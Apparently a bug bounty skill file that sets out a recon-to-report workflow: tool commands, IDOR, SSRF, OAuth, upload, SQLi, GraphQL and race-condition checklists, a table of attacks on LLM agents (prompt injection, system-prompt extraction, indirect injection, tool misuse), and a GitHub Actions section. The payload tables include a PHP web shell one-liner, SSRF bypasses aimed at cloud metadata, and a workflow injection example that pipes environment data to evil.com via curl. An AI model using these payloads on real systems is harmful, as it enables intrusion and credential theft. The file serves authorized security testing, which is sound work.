bug-bounty

Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

THE ONLY QUESTION THAT MATTERS

> "Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"

>

> If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

| Pattern | Kill Reason |

|---|---|

| "Could theoretically allow..." | Not exploitable = not a bug |

| "An attacker with X, Y, Z conditions could..." | Too many preconditions |

| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |

| Dead code with a bug in it | Not reachable = not a bug |

| Source maps without secrets | No impact |

| SSRF with DNS-only callback | Need data exfil or internal access |

| Open redirect alone | Need ATO or OAuth chain |

| "Could be used in a chain if..." | Build the chain first, THEN report |

You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.

---

CRITICAL RULES

1. READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
2. NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
3. KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
4. Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
5. One bug class at a time -- go deep, don't spray
6. Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
7. 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
8. IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
9. CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
10. STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
11. BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
12. UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
13. DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
14. HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
15. ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
16. TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
17. T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else

> For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see skills/bb-methodology/SKILL.md.

---

A->B BUG SIGNAL METHOD (Cluster Hunting)

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains

| Bug A (Signal) | Hunt for Bug B | Escalate to C |

|----------------|---------------|---------------|

| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |

| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |

| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |

| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |

| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |

| Rate limit bypass | OTP brute force | Account takeover |

| GraphQL introspection | Missing field-level auth | Mass PII exfil |

| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |

| CORS reflects origin | Test with credentials: include | Credentialed data theft |

| Host header injection | Password reset poisoning | ATO via reset link |

Cluster Hunt Protocol (6 Steps)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact

---

TOP 1% HACKER MINDSET

How Elite Hackers Think Differently

Average hunter: Runs tools, checks checklist, gives up after 30 min.

Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

Pre-Hunt Mental Framework

Step 1: Crown Jewel Thinking

Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"

• Financial app -> drain funds, transfer to attacker account
• Healthcare -> PII leak, HIPAA violation
• SaaS -> tenant data crossing, admin takeover
• Auth provider -> full SSO chain compromise

Step 2: Developer Empathy

Think like the developer who built the feature:

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked -- controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

Step 3: Trust Boundary Mapping

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

• Does this new feature reuse old auth, or does it have its own?
• Does the mobile API share auth logic with the web app?
• Was this feature built by the same team or a third-party?

The Top 1% Mental Checklist

• [ ] I know the app's core business model
• [ ] I've used the app as a real user for 15+ minutes
• [ ] I know the tech stack (language, framework, auth system, caching)
• [ ] I've read at least 3 disclosed reports for this program
• [ ] I have 2 test accounts ready (attacker + victim)
• [ ] I've defined my primary target: ONE crown jewel I'm hunting for today

Mindset Rules from Top Hunters

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

---

TOOLS

Go Binaries

| Tool | Use |

|------|-----|

| subfinder | Passive subdomain enum |

| httpx | Probe live hosts |

| dnsx | DNS resolution |

| nuclei | Template scanner |

| katana | Crawl |

| waybackurls | Archive URLs |

| gau | Known URLs |

| dalfox | XSS scanner |

| ffuf | Fuzzer |

| anew | Dedup append |

| qsreplace | Replace param values |

| assetfinder | Subdomain enum |

| gf | Grep patterns (xss, sqli, ssrf, redirect) |

| interactsh-client | OOB callbacks |

Tools to Install When Needed

| Tool | Use | Install |

|------|-----|---------|

| arjun | Hidden parameter discovery | pip3 install arjun |

| paramspider | URL parameter mining | pip3 install paramspider |

| kiterunner | API endpoint brute | go install github.com/assetnote/kiterunner/cmd/kr@latest |

| cloudenum | Cloud asset enumeration | pip3 install cloud_enum |

| trufflehog | Secret scanning | brew install trufflehog |

| gitleaks | Secret scanning | brew install gitleaks |

| XSStrike | Advanced XSS scanner | pip3 install xsstrike |

| SecretFinder | JS secret extraction | pip3 install secretfinder |

| sqlmap | SQL injection | pip3 install sqlmap |

| subzy | Subdomain takeover | go install github.com/LukaSikic/subzy@latest |

Static Analysis (Semgrep Quick Audit)

# Install: pip3 install semgrep

# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./

# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./

# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./

# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .

# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'

FFUF Advanced Techniques

# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac

# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac

# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac

# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200

# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac

# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac

# Filter strategies:
# -fc 404,403          Filter status codes
# -fs 1234             Filter by response size
# -fw 50               Filter by word count
# -fr "not found"      Filter regex in response body
# -rate 5 -t 10        Rate limit + fewer threads for stealth
# -e .php,.bak,.old    Add extensions
# -o results.json      Save output

AI-Assisted Tools

• strix (usestrix.com) -- open-source AI scanner for automated initial sweep

---

PHASE 1: RECON

Standard Recon Pipeline

# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt

# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt

# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt

# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt

# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file

# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3

Cloud Asset Enumeration

# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
  [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done

API Endpoint Discovery

# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac

HackerOne Scope Retrieval

curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
  | jq '.data.team.policy_scopes.edges[].node'

Quick Wins Checklist

• [ ] Subdomain takeover (subjack, subzy)
• [ ] Exposed .git (/.git/config)
• [ ] Exposed env files (/.env, /.env.local)
• [ ] Default credentials on admin panels
• [ ] JS secrets (SecretFinder, jsluice)
• [ ] Open redirects (?redirect=, ?next=, ?url=)
• [ ] CORS misconfig (test Origin: https://evil.com + credentials)
• [ ] S3/cloud buckets
• [ ] GraphQL introspection enabled
• [ ] Spring actuators (/actuator/env, /actuator/heapdump)
• [ ] Firebase open read (https://TARGET.firebaseio.com/.json)

Technology Fingerprinting

| Signal | Technology |

|---|---|

| Cookie: XSRF-TOKEN + *_session | Laravel |

| Cookie: PHPSESSID | PHP |

| Header: X-Powered-By: Express | Node.js/Express |

| Response: wp-json/wp-content | WordPress |

| Response: {"errors":[{"message": | GraphQL |

| Header: X-Powered-By: Next.js | Next.js |

Framework Quick Wins

Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log

WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1

Node.js: /.env, /graphql (introspection), /_debug

AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins

Source Code Recon

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20

# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"

# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."

# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"

Language-Specific Grep Patterns

# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules

# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"

# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"

# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"

# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"

# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

---

PHASE 2: LEARN (Pre-Hunt Intelligence)

Read Disclosed Reports

# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
  | jq '.data.hacktivity_items.nodes[].report'

"What Changed" Method

1. Find disclosed report for similar tech
2. Get the fix commit
3. Read the diff -- identify the anti-pattern
4. Grep your target for that same anti-pattern

Threat Model Template

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
2. Developer Inconsistency = Strongest Evidence -- timingSafeEqual in one place, === elsewhere
3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
5. Secondary/Legacy Endpoints = No Auth -- /api/v1/ guarded but /api/ isn't
6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

---

PHASE 3: HUNT

Note-Taking System (Never Hunt Without This)

# TARGET: company.com -- SESSION 1

## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers

## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint

## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write

Subdomain Type -> Hunt Strategy

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in redirect_uri
• upload/cdn: CORS, path traversal, stored XSS

CVE-Seeded Audit Approach

1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
2. Reproduce old bugs -- verify you can find the pattern in older code
3. Pattern-match forward -- search for the same anti-pattern in current code
4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

Rust/Blockchain Source Code (Hard-Won Lessons)

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

---

VULNERABILITY HUNTING CHECKLISTS

IDOR -- Insecure Direct Object Reference

> #1 most paid web2 class -- 30% of all submissions that get paid.

IDOR Variants (10 Ways to Test)

| Variant | What to Test |

|---------|-------------|

| V1: Direct | Change object ID in URL path /api/users/123 -> /api/users/456 |

| V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} |

| V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } |

| V4: Batch/bulk | /api/users?ids=1,2,3,4,5 -- request multiple IDs at once |

| V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} |

| V6: File path | /files/download?path=../other-user/file.pdf |

| V7: Predictable | Sequential integers, timestamps, short UUIDs |

| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |

| V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint |

| V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |

IDOR Testing Checklist

• [ ] Create two accounts (A = attacker, B = victim)
• [ ] Log in as A, perform all actions, note all IDs in requests
• [ ] Log in as B, replay A's requests with A's IDs using B's auth
• [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
• [ ] Check API v1/v2 differences
• [ ] Check GraphQL schema for node() queries
• [ ] Check WebSocket messages for client-supplied IDs
• [ ] Test batch endpoints (can you request multiple IDs?)
• [ ] Try adding unexpected params: ?user_id=other_user

IDOR Chains (higher payout)

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot (LLM reads other user's data) = High

SSRF -- Server-Side Request Forgery

• [ ] Try cloud metadata: http://169.254.169.254/latest/meta-data/
• [ ] Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
• [ ] Test all IP bypass techniques (see table below)
• [ ] Test protocol bypass: file://, dict://, gopher://
• [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

SSRF IP Bypass Table (11 Techniques)

| Bypass | Payload | Notes |

|--------|---------|-------|

| Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal |

| Hex IP | http://0x7f000001/ | Hex representation |

| Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 |

| Short IP | http://127.1/ | Abbreviated notation |

| IPv6 | http://[::1]/ | Loopback in IPv6 |

| IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 |

| Redirect chain | http://attacker.com/302->http://169.254.169.254 | Check each hop |

| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |

| URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion |

| Enclosed alphanumeric | http://①②⑦.⓪.⓪.① | Unicode numerals |

| Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |

SSRF Impact Chain

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (code execution on cloud)
• Docker API accessible = Critical (direct RCE)

OAuth / OIDC

• [ ] Missing state parameter -> CSRF
• [ ] redirect_uri accepts wildcards -> ATO
• [ ] Missing PKCE -> code theft
• [ ] Implicit flow -> token leakage in referrer
• [ ] Open redirect in post-auth redirect -> OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

| Bypass | Payload | Notes |

|--------|---------|-------|

| Double URL encoding | %252F%252F | Decodes to // after double decode |

| Backslash | https://target.com\@evil.com | Some parsers normalize \ to / |

| Missing protocol | //evil.com | Protocol-relative |

| @-trick | https://target.com@evil.com | target.com becomes username |

| Protocol-relative | ///evil.com | Triple slash |

| Tab/newline injection | //evil%09.com | Whitespace in hostname |

| Fragment trick | https://evil.com#target.com | Fragment misleads validation |

| Null byte | https://evil.com%00target.com | Some parsers truncate at null |

| Parameter pollution | ?next=target.com&next=evil.com | Last value wins |

| Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect |

| Unicode normalization | https://evil.com/target.com | Visual confusion |

File Upload

File Upload Bypass Table

| Bypass | Technique |

|--------|-----------|

| Double extension | file.php.jpg, file.php%00.jpg |

| Case variation | file.pHp, file.PHP5 |

| Alternative extensions | .phtml, .phar, .shtml, .inc |

| Content-Type spoof | image/jpeg header with PHP content |

| Magic bytes | GIF89a; <?php system($_GET['c']); ?> |

| .htaccess upload | AddType application/x-httpd-php .jpg |

| SVG XSS | <svg onload=alert(1)> |

| Race condition | Upload + execute before cleanup runs |

| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |

| Zip slip | ../../etc/cron.d/shell in filename inside archive |

Magic Bytes Reference

| Type | Hex |

|------|-----|

| JPEG | FF D8 FF |

| PNG | 89 50 4E 47 0D 0A 1A 0A |

| GIF | 47 49 46 38 |

| PDF | 25 50 44 46 |

| ZIP/DOCX/XLSX | 50 4B 03 04 |

Race Conditions

• [ ] Coupon codes / promo codes
• [ ] Gift card redemption
• [ ] Fund transfer / withdrawal
• [ ] Voting / rating limits
• [ ] OTP verification brute via race

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

Business Logic

• [ ] Negative quantities in cart
• [ ] Price parameter tampering
• [ ] Workflow skip (e.g., pay without checkout)
• [ ] Role escalation via registration fields
• [ ] Privilege persistence after downgrade

XSS -- Cross-Site Scripting

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass -> Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

SQL Injection

Detection

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--

# Error-based detection
'; SELECT 1/0--    # divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

Introspection (alone = Informational, but reveals attack surface)

{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

Batching Attack (Rate Limit Bypass)

[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

• [ ] Prompt injection via user input passed to LLM
• [ ] Indirect injection via document/URL the AI processes
• [ ] IDOR in chat history (enumerate conversation IDs)
• [ ] System prompt extraction via roleplay/encoding
• [ ] RCE via code execution tool abuse
• [ ] ASCII smuggling (invisible unicode in LLM output)

Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

| ID | Vuln Class | What to Test |

|----|-----------|-------------|

| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |

| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |

| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |

| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |

| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |

| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |

| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |

| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |

| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |

| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |

Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.

Cache Poisoning / Web Cache Deception

• [ ] Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
• [ ] Parameter cloaking (?param=value;poison=xss)
• [ ] Fat GET (body params on GET requests)
• [ ] Web cache deception (/account/settings.css -- trick cache into storing private response)
• [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers

HTTP Request Smuggling

• [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• [ ] H2.CL: HTTP/2 downgrade smuggling
• [ ] TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
• [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.

Android / Mobile Hunting

• [ ] Certificate pinning bypass (Frida/objection)
• [ ] Exported activities/receivers (AndroidManifest.xml)
• [ ] Deep link injection
• [ ] Shared preferences / SQLite in cleartext
• [ ] WebView JavaScript bridge
• [ ] Mobile API often uses older/different API version than web

CI/CD Pipeline — GitHub Actions Security

> Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: brew install sisakulint or download binary from releases.

>

> Quick scan: sisakulint scan .github/workflows/ — flags Critical/High issues with auto-fix suggestions.

> Remote scan: sisakulint scan --remote owner/repo — scan without cloning.

Recon: Finding Workflow Files

# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50

# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/

# Run sisakulint on all workflows:
sisakulint scan .github/workflows/

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.

Taint sources (attacker-controlled):

github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref

• [ ] Expression injection — ${{ github.event.issue.title }} in run: block = RCE

  # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
  run: echo "${{ github.event.issue.title }}"

  # FIXED — use env var (shell-quoted, not expression-interpolated)
  env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"

• [ ] Environment variable injection — untrusted input → $GITHUB_ENV

  # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
  run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV

  # FIXED — use heredoc delimiter
  run: |
    {
      echo "BRANCH<<EOF"
      echo "${{ github.head_ref }}"
      echo "EOF"
    } >> $GITHUB_ENV

• [ ] PATH injection — untrusted input → $GITHUB_PATH = arbitrary binary execution
